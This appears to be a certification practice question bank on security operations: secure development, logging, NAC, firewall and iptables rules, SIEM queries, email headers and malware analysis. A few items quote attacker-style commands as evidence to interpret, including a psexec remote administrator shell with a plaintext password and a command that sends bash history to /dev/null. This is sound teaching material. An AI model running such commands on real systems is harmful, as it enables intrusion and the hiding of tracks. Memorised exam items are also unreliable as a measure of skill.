Betty wants to review the security logs on her Windows workstation. What tool should she use to do this?

Secpol.msc

Event Viewer

Log Viewer

Logview.msc

What type of attack is the use of query parameterization intended to prevent?

Buffer overflows

Cross-site scripting

SQL injection

Denial-of-service attacks

Isaac is configuring syslog on a Linux system and wants to send the logs in a way that will ensure that they are received. What protocol should he specify to do so?

UDP

HTTP

HTTPS

TCP

Bob wants to deploy a VPN technology with granular access controls for applications that are enforced at the gateway. Which VPN technology is best suited to this requirement?

IKE VPNs

TLS VPNs

X.509 VPNs

IPsec VPNs

What type of attack is output encoding typically used against?

DoS

XSS

XML

DDoS

Alaina wants to identify only severe kernel issues on a Linux system, and she knows that log levels for the kernel range from level 0 to level 7. Which of the following levels is the most severe?

Level 1, KERN_ALERT

Level 2, KERN_CRIT

Level 4, KERN_WARNING

Level 7, KERN_DEBUG

Use the following scenario for questions 160–162.

Scott has been asked to select a software development model for his organization and knows that there are a number of models that may make sense for what he has been asked to accomplish. Use your knowledge of SDLC models to identify an appropriate model for each of the following requirements.

Scott's organization needs basic functionality of the effort to become available as soon as possible and wants to involve the teams that will use it heavily to ensure that their needs are met. What model should Scott recommend?

Waterfall

Spiral

Agile

Rapid Application Development

A parallel coding effort needs to occur; however, this effort involves a very complex system and errors could endanger human lives. The system involves medical records and drug dosages, and the organization values stability and accuracy over speed. Scott knows the organization often adds design constraints throughout the process and that the model he selects must also deal with that need. What model should he choose?

Waterfall

Spiral

Agile

Rapid Application Development

At the end of his development cycle, what SDLC phase will Scott enter as the new application is installed and replaces the old code?

User acceptance testing

Testing and integration

Disposition

Redesign

Sofía wants to ensure that the ICs in the new device that her commercial consumer products company is releasing cannot be easily reverse engineered. Which technique is not an appropriate means of meeting her requirement?

Use a trusted foundry.

Encase the IC in epoxy.

Design the chip to zeroize sensitive data if its security encapsulation fails.

Design the chip to handle out of spec voltages and clock signals.

Charles is reviewing the certificate properties for the certificate for www.comptia.org and notices that the DNS name reads

DNS name = *.comptia.org
DNS name = comptia.org

What type of certificate is in use?

A multidomain certificate

A wildcard certificate

A mismatched certificate

An invalid certificate

Alaina wants to implement a modern service-oriented architecture (SOA) that relies on HTTP-based commands, works well in limited bandwidth environments, and can handle multiple data formats beyond XML. What should she build her SOA in?

SOAP

Waterfall

REST

CAVE

The OWASP Session Management Cheatsheet advises that session IDs are meaningless and recommends that they should be used only as an identifier on the client side. Why should a session ID not have additional information encoded in it like the IP address of the client, their username, or other information?

Processing complex session IDs will slow down the service.

Session IDs cannot contain this information for legal reasons.

Session IDs are sent to multiple different users, which would result in a data breach.

Session IDs could be decoded, resulting in data leakage.

Nia's honeynet shown here is configured to use a segment of unused network space that has no legitimate servers in it. What type of threats is this design particularly useful for detection?

Zero-day attacks

SQL injection

Network scans

DDoS attacks

Bounds checking, removing special characters, and forcing strings to match a limited set of options are all examples of what web application security technique?

SQL injection prevention

Input validation

XSS prevention

Fuzzing

Abigail is performing input validation against an input field and uses the following regular expression:

^(AA|AE|AP|AL|AK|AS|AZ|AR|CA|CO|CT|DE|DC|FM|FL|GA|GU|
HI|ID|IL|IN|IA|KS|KY|LA|ME|MH|MD|MA|MI|MN|MS|MO|MT|NE|
NV|NH|NJ|NM|NY|NC|ND|MP|OH|OK|OR|PW|PA|PR|RI|SC|SD|TN|
TX|UT|VT|VI|VA|WA|WV|WI|WY)$

What is she checking with the regular expression?

She is removing all typical special characters found in SQL injection.

She is checking for all U.S. state names.

She is removing all typical special characters for cross-site scripting attacks.

She is checking for all U.S. state name abbreviations.

Adam is testing code written for a client-server application that handles financial information and notes that traffic is sent between the client and server via TCP port 80. What should he check next?

If the server stores data in unencrypted form

If the traffic is unencrypted

If the systems are on the same network

If usernames and passwords are sent as part of the traffic

Nick wants to prevent unauthorized firmware from being installed on devices that his organization manufacturers. What technique should he use to provide an effective security layer?

Encrypted firmware

Signed firmware

Binary firmware

None of the above

A web server and a web browser are examples of what type of platform?

Embedded

Firmware

Client-server

SOC

Lara has been assigned to assess likely issues with an embedded system used for building automation and control. Which of the following software assurance issues is least likely to be of concern for her organization?

Lack of updates and difficulty deploying them

Long life cycle for the embedded devices

Assumptions of network security where deployed

Use of proprietary protocols

Lucca wants to prevent brute-force attacks from succeeding against a web application. Which of the following is not a commonly implemented solution to help reduce the effectiveness of brute-force attacks?

Multifactor authentication

Account lockouts

Password reuse

CAPTCHAs

Noam wants to ensure that he would know if the operating system, boot loader, and boot drivers of his PC were infected with malware. What type of boot process should he use to have it checked using a cryptographic hash?

Manual boot hash comparison

Secure Boot

TPM

bootsec

Jennifer uses an application to send randomized data to her application to determine how it responds to unexpected input. What type of tool is she using?

A UAT tool

A stress testing tool

A fuzzer

A regression testing tool

Isaac wants to securely handle passwords for his web application. Which of the following is not a common best practice for password storage?

Use a dedicated password hash like bcrypt.

Use a salt.

Store passwords in an encrypted form.

Set a reasonable work factor for your system.

Kristen wants to securely store passwords and knows that a modern password hashing algorithm is her best option. Which of the following should she choose?

SHA-256

bcrypt

MD5

SHA-512

Liam wants to protect data at rest in an SaaS service. He knows that he needs to consider his requirements differently in his cloud environment than an on-premises environment. What option can he use to ensure that the data is encrypted when it is stored?

Install a full-disk encryption tool.

Install a column-level encryption.

Select an SaaS service that supports encryption at rest.

Hire an independent auditor to validate the encryption.

Faraj wants to use statistics gained from live analysis of his network to programmatically change its performance, routing, and optimization. Which of the following technologies is best suited to his needs?

Serverless

Software-defined networking

Physical networking

Virtual private networks (VPNs)

Elaine's team has deployed an application to a cloud-hosted serverless environment. Which of the following security tools can she use in that environment?

Endpoint antivirus

Endpoint DLP

IDS for the serverless environment

None of the above

Valerie is leading an effort that will use a formal Fagan inspection of code. Which phase in the Fagan inspection process includes finding actual defects?

Overview

Preparation

Inspection

Rework

Greg wants to prevent SQL injection in a web application he is responsible for. Which of the following is not a common defense against SQL injection?

Prepared statements with parameterized queries

Output validation

Stored procedures

Escaping all user-supplied input

While reviewing code that generates a SQL query, Aarav notices that the “address” field is appended to the query without input validation or other techniques applied. What type of attack is most likely to be successful against code like this?

DoS

XSS

SQL injection

Teardrop

What type of assertion is made to an SP in a SAML authentication process?

The user's password

Who the user is

Who the SP is

What rights the user has

Megan wants to downgrade the firmware for a device she is working with, but when she attempts to do so, the device will not accept the older firmware. What type of hardware technology has she most likely encountered?

A TPM

A HSM

eFuse

A trusted foundry

Security screws are an example of what type of control?

Anti-tamper

Detective

Anti-theft

Corrective

What U.S. government program focuses on ensuring that integrated circuits have an assured chain of custody, a supply chain that can avoid disruption, and processes in place to protect chips from being modified or tampered with?

Secure Forge

DMEA

Trusted foundry

IC Protect

Michelle wants to acquire data from a self-encrypting drive. When is the data on the drive unencrypted and accessible?

Data is unencrypted before the system boots.

Data is unencrypted after the OS boots.

Data is unencrypted only when it is read from the drive.

Data is never unencrypted.

What term describes hardware security features built into a CPU?

Atomic execution

Processor security extensions

Processor control architecture

Trusted execution

Angela wants to provide her users with a VPN service and does not want them to need to use client software. What type of VPN should she set up?

IPsec

Air gap

VPC

SSL/TLS

Lucca needs to explain the benefits of network segmentation to the leadership of his organization. Which of the following is not a common benefit of segmentation?

Decreasing the attack surface

Increasing the number of systems in a network segment

Limiting the scope of regulatory compliance efforts

Increasing availability in the case of an issue or attack

Kubernetes and Docker are examples of what type of technology?

Encryption

Software-defined networking

Containerization

Serverless

Nathan is designing the logging infrastructure for his company and wants to ensure that a compromise of a system will not result in the loss of that system's logs. What should he do to protect the logs?

Limit log access to administrators.

Encrypt the logs.

Rename the log files from their common name.

Send the logs to a remote server.

After creating a new set of encryption keys for an SSH key, Allan inadvertently uploads them to GitHub as part the check-in process for software he is writing. What options does he have to fix this issue?

He can modify the private key to fix the issue and then needs to re-upload it to GitHub.

He needs to generate a keypair and replace it wherever it is in use.

He needs to change the password for the keypair.

He needs to modify the public key to fix the issue and then needs to re-upload it to GitHub.

What type of software testing most frequently happens during the development phase?

Unit testing

User acceptance testing

Fuzzing

Stress testing

What are the four phases found in the spiral SDLC model?

Design, User Story Identification, Build, and Analysis

Identification, Design, Build, and Evaluation

Requirement Gathering, Analysis, Design, and Build

User Story Identification, User Story Design, User Co-Creation, and User Acceptance Testing

What is the primary concept behind DevSecOps versus DevOps?

Development should occur before security operations.

Device security is part of operations.

Security should be part of the integrated application life cycle.

Operations security requires developers to play the primary security role.

Use the following diagram and scenario for questions 199–201.

Amanda has been assigned to lead the development of a new web application for her organization. She is following a standard SDLC model as shown here. Use the model and your knowledge of the software development life cycle to answer the following questions.

Amanda's first task is to determine if there are alternative solutions that are more cost effective than in-house development. What phase is she in?

Design

Operations and maintenance

Feasibility

Analysis and requirements definition

What phase of the SDLC typically includes the first code analysis and unit testing in the process?

Analysis and requirements definition

Design

Coding

Testing and integration

After making it through most of the SDLC process, Amanda has reached point E on the diagram. What occurs at point E?

Disposition

Training and transition

Unit testing

Testing and integration

Ansel knows he wants to use federated identities in a project he is working on. Which of the following should not be among his choices for a federated identity protocol?

OpenID

SAML

OAuth

Authman

Chapter 3
Domain 3.0: Security Operations and Monitoring

EXAM OBJECTIVES COVERED IN THIS CHAPTER:

3.1 Given a scenario, analyze data as part of security monitoring activities.

Heuristics

Trend analysis

Network

Log review

Impact analysis

Security information and event management (SIEM) review

Query writing

Email analysis

3.2 Given a scenario, implement configuration changes to existing controls to improve security.

Permissions

Whitelisting

Blacklisting

Firewall

Intrusion prevention system (IPS) rules

Data loss prevention (DLP)

Endpoint detection and response (EDR)

Network access control (NAC)

Sinkholing

Malware signatures

Sandboxing

Port security

3.3 Explain the importance of proactive threat hunting.

Establishing a hypothesis

Profiling threat actors and activities

Threat hunting tactics

Reducing the attack surface area

Bundling critical assets

Attack vectors

Integrated intelligence

Improving detection capabilities

3.4 Compare and contrast automation concepts and technologies.

Workflow orchestration

Scripting

Application programming interface (API) integration

Automated malware signature creation

Data enrichment

Threat feed combination

Machine learning

Use of automation protocols and standards

Continuous integration

Continuous deployment/delivery

James uploads a file that he believes is potentially a malware package to VirusTotal and receives positive results, but the file is identified with multiple different malware package names. What has most likely occurred?

The malware is polymorphic and is being identified as multiple viruses because it is changing.

Different antimalware engines call the same malware package by different names.

VirusTotal has likely misidentified the malware package, and this is a false positive.

The malware contains multiple malware packages, resulting in the matches.

Isaac wants to monitor live memory usage on a Windows system. What tool should he use to see memory usage in a graphical user interface?

MemCheck

Performance Monitor

WinMem

Top

Abul wants to identify typical behavior on a Windows 10 system using a built-in tool to understand memory, CPU, and disk utilization. What tool can he use to see both real-time and performance over a period of time?

sysmon

sysgraph

resmon

resgraph

The automated malware analysis tool that Jose is using uses a disassembler and performs binary diffing across multiple malware binaries. What information is the tool looking for?

Calculating minimum viable signature length

Binary fingerprinting to identify the malware author

Building a similarity graph of similar functions across binaries

Heuristic code analysis of development techniques

How is integrated intelligence most commonly used in a firewall system?

The firewall searches for new IPs to block and creates a STIX feed entry.

The intelligence feed provides firewall rules that are implemented on the firewall in real time.

Threat intelligence is used to provide IP information for rules.

Named threat actors are blocked based on their threat level and resource model.

What does execution of wmic.exe, powershell.exe, or winrm.vbs most likely indicate if you discover one or more was run on a typical end user's workstation?

A scripted application installation

Remote execution of code

A scripted application uninstallation

A zero-day attack

Ben is reviewing network traffic logs and notices HTTP and HTTPS traffic originating from a workstation. What TCP ports should he expect to see this traffic sent to under most normal circumstances?

80 and 443

22 and 80

80 and 8088

22 and 443

Use this scenario for questions 8–10.

Lucy is an SOC operator for her organization and is responsible for monitoring her organization's SIEM and other security devices. Her organization has both domestic and international sites, and many of their employees travel frequently.

While Lucy is monitoring the SIEM, she notices that all of the log sources from her organization's New York branch have stopped reporting for the past 24 hours. What type of detection rules or alerts should she configure to make sure she is aware of this sooner next time?

Heuristic

Behavior

Availability

Anomaly

After her discovery in the previous question, Lucy is tasked with configuring alerts that are sent to system administrators. She builds a rule that can be represented in pseudo-code as follows:

Send an SMS alert every 30 seconds when systems do not send logs for more than 1 minute.

The average administrator at Lucy's organization is responsible for 150–300 machines.

What danger does Lucy's alert create?

A DDoS that causes administrators to not be able to access systems

A network outage

Administrators may ignore or filter the alerts

A memory spike

Lucy configures an alert that detects when users who do not typically travel log in from other countries. What type of analysis is this?

Trend

Availability

Heuristic

Behavior

Disabling unneeded services is an example of what type of activity?

Threat modeling

Incident remediation

Proactive risk assessment

Reducing the threat attack surface area

Suki notices inbound traffic to a Windows system on TCP port 3389 on her corporate network. What type of traffic is she most likely seeing?

A NetBIOS file share

A RADIUS connection

An RDP connection

A Kerberos connection

Angela wants to prevent buffer overflow attacks on a Windows system. What two built-in technologies should she consider?

The memory firewall and the stack guard

ASLR and DEP

ASLR and DLP

The memory firewall and the buffer guard

Isaac is reviewing an organization's network security controls and discovers that port security has been enabled to control which systems can connect to network ports. Which of the following technologies should he recommend instead to help avoid the weaknesses that port security has in its security model?

802.1x

DMARC

SPF

802.3

Ian wants to capture information about privilege escalation attacks on a Linux system. If he believes that an insider is going to exploit a flaw that allows them to use sudo to assume root privileges, where is he most likely to find log information about what occurred?

The sudoers file

/var/log/sudo

/var/log/auth.log

root's .bash_log

When Pete connects to his organization's network, his PC runs the NAC software his systems administrator installed. The software communicates to the edge switch he is plugged into, which validates his login and system security state. What type of NAC solution is Pete using?

Agent-based, in-band

Agentless, in-band

Agent-based, out-of-band

Agentless, out-of-band

What type of information can Gabby determine from Tripwire logs on a Linux system if it is configured to monitor a directory?

How often the directory is accessed

If files in the directory have changed

If sensitive data was copied out of the directory

Who has viewed files in the directory

While reviewing systems she is responsible for, Charlene discovers that a user has recently run the following command in a Windows console window. What has occurred?

psexec \\10.0.11.1 -u Administrator -p examplepw cmd.exe

The user has opened a command prompt on their workstation.

The user has opened a command prompt on the desktop of a remote workstation.

The user has opened an interactive command prompt as administrator on a remote workstation.

The user has opened a command prompt on their workstation as Administrator.

Brian writes a Snort rule that reads

Alert tcp any -> 10.10.11.0/24 3306

What type of traffic will he detect?

MySQL traffic

RDP traffic

LDAP traffic

BGP traffic

What technology tracks endpoint user and entity behaviors, centralizes that data as well as other security data, and then uses statistical models to detect unusual behavior and notify administrators?

An IPS

UEBA

An IDS

DMARC

Sadiq wants to deploy an IPS at a network location that will maximize its impact while avoiding unnecessary load. If he wants to place it near the network border shown in the following image, where should he place it?

Point A

Point B

Point C

Point D

While reviewing tcpdump data, Kwame discovers that hundreds of different IP addresses are sending a steady stream of SYN packets to a server on his network. What should Kwame be concerned is happening?

A firewall is blocking connections from occurring

An IPS is blocking connections from occurring

A SYN flood

An ACK blockage

While reviewing Windows event logs for a Windows 10 system with reported odd behavior, Kai discovers that the system she is reviewing shows Event ID 1005 MALWAREPROTECTION_SCAN_FAILED every day at the same time. What is the most likely cause of this issue?

The system was shut down.

Another antivirus program has interfered with the scan.

The user disabled the scan.

The scan found a file it was unable to scan.

Charles wants to use his SIEM to automatically flag known bad IP addresses. Which of the following capabilities is not typically used for this with SIEM devices?

Blacklisting

IP reputation

Whitelisting

Domain reputation

Gabby executes the following command. What is she doing?

ps -aux | grep apache2 | grep root

Searching for all files owned by root named apache2

Checking currently running processes with the word apache2 and root both appearing in the output of top

Shutting down all apache2 processes run by root

There is not enough information to answer this question.

While reviewing email headers, Saanvi notices an entry that reads:

From: “John Smith, CIO” <jsmith@example.com> with a Received: parameter that shows mail.demo.com [10.74.19.11].

Which of the following scenarios is most likely if demo.com is not a domain belonging to the same owner as example.com?

John Smith's email was forwarded by someone at demo.com.

John Smith's email was sent to someone at demo.com.

The headers were forged to make it appear to have come from John Smith.

The mail.demo.com server is a trusted email forwarding partner for example.com.

Corbin wants to prevent attackers from bypassing port security on his network's edge devices. What technique are attackers most likely to use to try to bypass it?

Spoofing MAC addresses

Providing valid credentials

Spoofing IP addresses

Providing fake credentials

Fiona wants to prevent email impersonation of individuals inside her company. What technology can help prevent this?

IMAP

SPF

DKIM

DMARC

Which of the items from the following list is not typically found in an email header?

Sender IP address

Date

Receiver IP address

Private key

Questions 30–32 refer to the following scenario:

Chris is troubleshooting the firewall rulebase that appears here:

Users are reporting that inbound mail is not reaching their accounts. Chris believes that rule 1 should provide this access. The organization's SMTP server is located at 10.15.1.1. What component of this rule is incorrect?

Protocol

Source port

Destination IP

Destination port

The firewall rule creators intended to block access to a website hosted at 10.15.1.2 except from hosts located on the 10.20.0.0/16 subnet. However, users on that subnet report that they cannot access the site. What is wrong?

The protocol is incorrect.

The rules are misordered.

The source port is not specified.

There is no error in the rule, and Chris should check for other issues.

Rule 4 is designed to allow SSH access from external networks to the server located at 10.15.1.3. Users are reporting that they cannot access the server. What is wrong?

The protocol is incorrect.

The rules are misordered.

The destination port is incorrect.

There is no error in the rule, and Chris should check for other issues.

Amanda has been assigned to reduce the attack surface area for her organization, and she knows that the current network design relies on allowing systems throughout her organization to access the Internet directly via public IPs they are assigned. What should her first step be to reduce her organization's attack surface quickly and without large amounts of time invested?

Install host firewalls on the systems

Move to a NAT environment

Install an IPS

None of the above

The ATT&CK framework defines which of the following as “the specifics behind how the adversary would attack the target”?

The threat actor

The targeting method

The attack vector

The organizational weakness

Manish is using a NAC system and wants to allow users who do not meet admission requirements to patch their machines. What technique should he use to allow this?

Deny access to the network and require users to connect to a different network to patch before they reconnect

Build a quarantine network that allows access to update sites and tools

Deny all access and contact tech support to patch the system

Allow access and force a reboot after patching

Lisa is aware that multiple members of her organization fell for a phishing attack. What attack vector should she worry about based on this?

Compromised credentials

Malicious insiders

Ransomware

Brute-force

Matt believes that developers in his organization deployed code that did not implement cookies in a secure way. What type of attack would be aided by this security issue?

SQL injection

A denial-of-service attack

Session hijacking

XSS

What type of attack is a back-off algorithm intended to limit or prevent?

Denial-of-service attacks

Brute-force attacks

Compromised credential-based attacks

Trojans

Ian wants to leverage multiple threat flows, and he knows that using a standardized threat information format would help. What threat information standards should he look for from his feed providers to maximize compatibility between his information sources?

STIX and TAXII

SAML and OCSP

STIX and CAB

SAML and TAXII

Cassandra is documenting a threat actor using the STIX 2.0 standard, and she describes the threat actor as wanting to steal nuclear research data. What type of label would this receive in the STIX taxonomy?

An alias

A goal

Their sophistication

Their resource level

Jamal wants to leverage a framework to improve his threat hunting for network defense. What threat hunting framework should he select to help his team categorize and analyze threats more effectively?

MOPAR

CVSS

MITRE ATT&CK

CAPEC

Alex needs to deploy a solution that will limit access to his network to only authorized individuals while also ensuring that the systems that connect to the network meet his organization's patching, antivirus, and configuration requirements. Which of the following technologies will best meet these requirements?

Whitelisting

Port Security

NAC

EAP

During a log review, Mei sees repeated firewall entries as shown here:

Sep 16 2019 23:01:37: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]
Sep 16 2019 23:01:38: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]
Sep 16 2019 23:01:39: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]
Sep 16 2019 23:01:40: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]

What service is the remote system most likely attempting to access?

H.323

SNMP

MS-SQL

Oracle

While analyzing a malware file that she discovered, Tracy finds an encoded file that she believes is the primary binary in the malware package. Which of the following is not a type of tool that the malware writers may have used to obfuscate the code?

A packer

A crypter

A shuffler

A protector

While reviewing Apache logs, Nara sees the following entries as well as hundreds of others from the same source IP. What should Nara report has occurred?

[ 21/Jul/2019:02:18:33 -0500] - - 10.0.1.1 "GET /scripts/sample.php" "-" 302 336 0
[ 21/Jul/2019:02:18:35 -0500] - - 10.0.1.1 "GET /scripts/test.php" "-" 302 336 0
[ 21/Jul/2019:02:18:37 -0500] - - 10.0.1.1 "GET /scripts/manage.php" "-" 302 336 0
[ 21/Jul/2019:02:18:38 -0500] - - 10.0.1.1 "GET /scripts/download.php" "-" 302 336 0
[ 21/Jul/2019:02:18:40 -0500] - - 10.0.1.1 "GET /scripts/update.php" "-" 302 336 0
[ 21/Jul/2019:02:18:42 -0500] - - 10.0.1.1 "GET /scripts/new.php" "-" 302 336 0

A denial-of-service attack

A vulnerability scan

A port scan

A directory traversal attack

Andrea needs to add a firewall rule that will prevent external attackers from conducting topology gathering reconnaissance on her network. Where in the following image should she add a rule intended to block this type of traffic?

The firewall

The router

The distribution switch

The Windows 2019 server

The Snort IPS that Adam has configured includes a rule that reads

alert tcp $EXTERNAL_NET any -> 10.0.10.0/24 80
(msg:"Alert!";
content:"http|3a|//www.example.com/download.php"; nocase;
offset:12; classtype: web-application-activity;sid:5555555; rev:1;)

What type of detection method is Adam using?

Anomaly-based

Trend-based

Availability-based

Behavioral-based

A system that Carlos is responsible for has been experiencing consistent denial of service attacks using a version of the Low Orbit Ion Cannon (LOIC), which leverages personal computers in a concerted attack by sending large amounts of traffic from each system to flood a server, thus making it unable to respond to legitimate requests. What type of firewall rule should Carlos use to limit the impact of a tool like this if bandwidth consumption from the attack itself is not the root problem?

IP-based blacklisting

Dropping all SYN packets

Using a connection rate or volume-limiting filter per IP

Using a route-blocking filter that analyzes common LOIC routes

Eleanor is using the US-CERT NCISS observed activity levels to assess threat actor activity. If she has systems with active ransomware infections that have encrypted data on the systems but the systems have available and secure backups, at what level should she rate the observed activity?

Prepare

Engage

Presence

Effect

Cormac needs to lock down a Windows workstation that has recently been scanned using nmap on a Kali Linux–based system, with the results shown here. He knows that the workstation needs to access websites and that the system is part of a Windows domain. What ports should he allow through the system's firewall for externally initiated connections?

80, 135, 139, and 445

80, 445, and 3389

135, 139, and 445

No ports should be open.

Frank's team uses the following query to identify events in their threat intelligence tool. Why would this scenario be of concern to the security team?

select * from network-events where data.process.image.file = 'cmd.exe' AND data.process.parentImage.file != 'explorer.exe' AND data.process. action = 'launch'

Processes other than explorer.exe typically do not launch command prompts.

cmd.exe should never launch explorer.exe.

explorer.exe provides administrative access to systems.

cmd.exe runs as administrator by default when launched outside of Explorer.

During Cormac's configuration of his organization's network access control policies, he sets up client OS rules that include the following statements:

ALLOW Windows 7 version *, Windows 10 version *
ALLOW OSX version *
ALLOW iOS 8.1, iOS 9 version *
ALLOW Android 7.*

After deploying this rule, he discovers that many devices on his network cannot connect. What issue is most likely occurring?

Insecure clients

Incorrect NAC client versions

OS version mismatch

Patch level mismatch

Henry configures his next-generation firewall (NGFW) security device to forge DNS responses for known malicious domains. This results in users who attempt to visit sites hosted by those domains to see a landing page that Henry controls, which advises them they were prevented from visiting a malicious site. What is this technique known as?

DNS masquerading

DNS sinkholing

DNS re-sequencing

DNS hierarchy revision

Maria is an Active Directory domain administrator for her company, and she knows that a quickly spreading botnet relies on a series of domain names for command and control, and that preventing access to those domain names will cause the malware infection that connects to the botnet to fail to take further action. Which of the following actions is her best option if she wants to prevent off-site Windows users from connecting to botnet command and control systems?

Force a BGP update

Set up a DNS sinkhole

Modify the hosts file

Install an antimalware application

While analyzing a malware package, Ryan finds a list of hostnames shown here:

earnestnessrealsitetest.com
rvcxestnessrealsitetest.com
hjbtestnessrealsitetest.com
agekestnessrealsitetest.com
sgjxestnessrealsitetest.com
igjyestnessrealsitetest.com
zxahestnessrealsitetest.com
zfrpestnessrealsitetest.com
hdquestnessrealsitetest.com
umcuestnessrealsitetest.com
hrbyestnessrealsitetest.com
ysrtestnessrealsitetest.com
kgteestnessrealsitetest.com
hfsnestnessrealsitetest.com
njxfestnessrealsitetest.com

What has he likely found in the malware package?

A RPG

A DGA

A SPT

A FIN

Mark writes a script to pull data from his security data repository. The script includes the following query:

select source.name, data.process.cmd, count(*) AS hostcount
from windows-events where type = 'sysmon' AND
data.process.action = 'launch' AND data.process. image.file =
'reg.exe' AND data.process.parentImage.file = 'cmd.exe'

He then queries the returned data using the following script:

select source.name, data.process.cmd, count(*) AS hostcount
from network-events where type = 'sysmon' AND
data.process.action = 'launch' AND data.process. image.file =
'cmd.exe' AND data.process.parentImage.file = 'explorer.exe'

What events will Mark see?

Uses of explorer.exe where it is launched by cmd.exe

Registry edits launched via the command line from Explorer

Registry edits launched via explorer.exe that modify cmd.exe

Uses of cmd.exe where it is launched by reg.exe

Chris operates the point-of-sale (POS) network for a company that accepts credit cards and is thus required to be compliant with PCI DSS. During his regular assessment of the POS terminals, he discovers that a recent Windows operating system vulnerability exists on all of them. Since they are all embedded systems that require a manufacturer update, he knows that he cannot install the available patch. What is Chris's best option to stay compliant with PCI DSS and protect his vulnerable systems?

Replace the Windows embedded point of sale terminals with standard Windows systems

Build a custom operating system image that includes the patch

Identify, implement, and document compensating controls

Remove the POS terminals from the network until the vendor releases a patch

Mateo is responsible for hardening systems on his network, and he discovers that a number of network appliances have exposed services including telnet, FTP, and web servers. What is his best option to secure these systems?

Enable host firewalls

Install patches for those services

Turn off the services for each appliance

Place a network firewall between the devices and the rest of the network

Michelle runs the following grep command. What text will it match?

grep -i example *.txt

All text files in the current directory with the word example in it

All occurrences of the text example in all files in the current directory with a .txt extension

All occurrences of the lowercase text example in all files in the current directory with a .txt extension

All TXT files with a filename including the word example in the current directory and all subdirectories

Pranab is implementing cryptographic controls to protect his organization and would like to use defense-in-depth controls to protect sensitive information stored and transmitted by a web server. Which one of the following controls would be least suitable to directly provide this protection?

TLS

VPN

DLP

FDE

Deepa wants to see the memory utilization for multiple Linux processes all at once. What command should she run?

top

ls -mem

mem

memstat

Tracy is validating the web application security controls used by her organization. She wants to ensure that the organization is prepared to conduct forensic investigations of future security incidents. Which one of the following OWASP control categories is most likely to contribute to this effort?

Implement logging

Validate all inputs

Parameterize queries

Error and exception handling

Latisha wants to ensure that BYOD workstations that connect to her network meet specific minimum operating system patch level requirements. She also wants to place them into the correct VLAN for the user group that the logged-in user belongs to. She is deploying her solution to an existing, complex network. What solution should she recommend?

Agent-based, in-line NAC

Agentless, in-line NAC

Agent-based, out-of-band NAC

Agentless, out-of-band NAC

Kaitlyn's organization recently set a new password policy that requires that all passwords have a minimum length of 10 characters and meet certain complexity requirements. She would like to enforce this requirement for the Windows systems in her domain. What type of control would most easily allow this?

Group Policy Object

Organizational unit

Active Directory forest

Domain controller

Eric wants to send an email using a digital signature to ensure that the recipient can prove that the email was sent by him and that the content has not changed. What technology is frequently used for this?

S/MIME

IMAP

DKIM

TLS

Cameron needs to set up a Linux iptables-based firewall ruleset to prevent access from hosts A and B, while allowing SMTP traffic from host C; which set of commands will accomplish this?

# iptables -I INPUT 2 -s 10.1.1.170 -j DROP
# iptables -I INPUT 2 -s 10.2.0.0/24 --dport 25 -j DROP
# iptables -I INPUT 2 -s 10.2.0.130 --dport 25 -j ALLOW

# iptables -I INPUT 2 -s 10.1.1.170 -j DROP
# iptables -I INPUT 2 -s 10.2.0.0.134 -j DROP
# iptables -I INPUT 2 -s 10.2.0.130 --dport 25 -j ALLOW

# iptables -I INPUT 2 -s 10.1.1.170 -j ALLOW
# iptables -I INPUT 2 -s 10.2.0.0.134 -j ALLOW
# iptables -I INPUT 2 -s 10.2.0.130 --dport 25 -j DROP

# iptables -I INPUT 2 -s 10.1.1.170 -j DROP
# iptables -I INPUT 2 -s 10.2.0.0.134 -j DROP
# iptables -I INPUT 2 -s 10.2.0.130 -j ALLOW

Angela wants to block traffic sent to a suspected malicious host. What iptables rule entry can she use to block traffic to a host with IP address 10.24.31.11?

iptables -A OUTPUT -d 10.24.31.11 -j DROP

iptables -A INPUT -d 10.24.31.11 -j ADD

iptables -block -host 10.24.31.11 -j DROP

iptables -block -ip 10.24.31.11 -j ADD

Use the following scenario and image to answer questions 68–70.

While reviewing a system she is responsible for, Amanda notices that the system is performing poorly and runs htop to see a graphical representation of system resource usage. She sees the information shown in the following image:

What issue should Amanda report to the system administrator?

High network utilization

High memory utilization

Insufficient swap space

High CPU utilization

What command could Amanda run to find the process with the highest CPU utilization if she did not have access to htop?

ps

top

proc

load

What command can Amanda use to terminate the process?

term

stop

end

kill

What type of attack does a network administrator need to be aware of when deploying port security?

MAC address spoofing

IP address spoofing

Denial-of-service attacks

ARP spoofing

Piper wants to stop all traffic from reaching or leaving a Linux system with an iptables firewall. Which of the following commands is not one of the three iptables commands needed to perform this action?

#iptables-policy INPUT DROP

#iptables-policy SERVICE DROP

#iptables-policy OUTPUT DROP

#iptables-policy FORWARD DROP

Syd inputs the following command on a Linux system:

#echo 127.0.0.1 example.com>> /etc/hosts

What has she done?

She has added the system to the allowed hosts file.

She has routed traffic for the example.com domain to the local host.

She has routed local host traffic to example.com.

She has overwritten the hosts file and will have deleted all data except this entry.

While reviewing output from the netstat command, John sees the following output. What should his next action be?

[minesweeper.exe]
  TCP    127.0.0.1:62522        dynamo:0      LISTENING
[minesweeper.exe]
TCP    192.168.1.100        151.101.2.69:https  ESTABLISHED

Capture traffic to 151.101.2.69 using Wireshark

Initiate the organization's incident response plan

Check to see if 151.101.2.69 is a valid Microsoft address

Ignore it; this is a false positive.

What does EDR use to capture data for analysis and storage in a central database?

A network tap

Network flows

Software agents

Hardware agents

While reviewing the command history for an administrative user, Lakshman discovers a suspicious command that was captured:

ln /dev/null ~/.bash_history

What action was this user attempting to perform?

Enabling the Bash history

Appending the contents of /dev/null to the Bash history

Logging all shell commands to /dev/null

Allowing remote access from the null shell

Charles wants to determine if a message he received was forwarded by analyzing the headers of the message. How can he determine this?

Reviewing the Message-ID to see if it has been incremented

Checking for the In-Reply-To field

Checking for the References field

You cannot determine if a message was forwarded by analyzing the headers.

While reviewing the filesystem of a potentially compromised system, Marta sees the following output when running ls -la. What should her next action be after seeing this?

Continue to search for other changes

Run diff against the password file

Immediately change her password

Check the passwd binary against a known good version

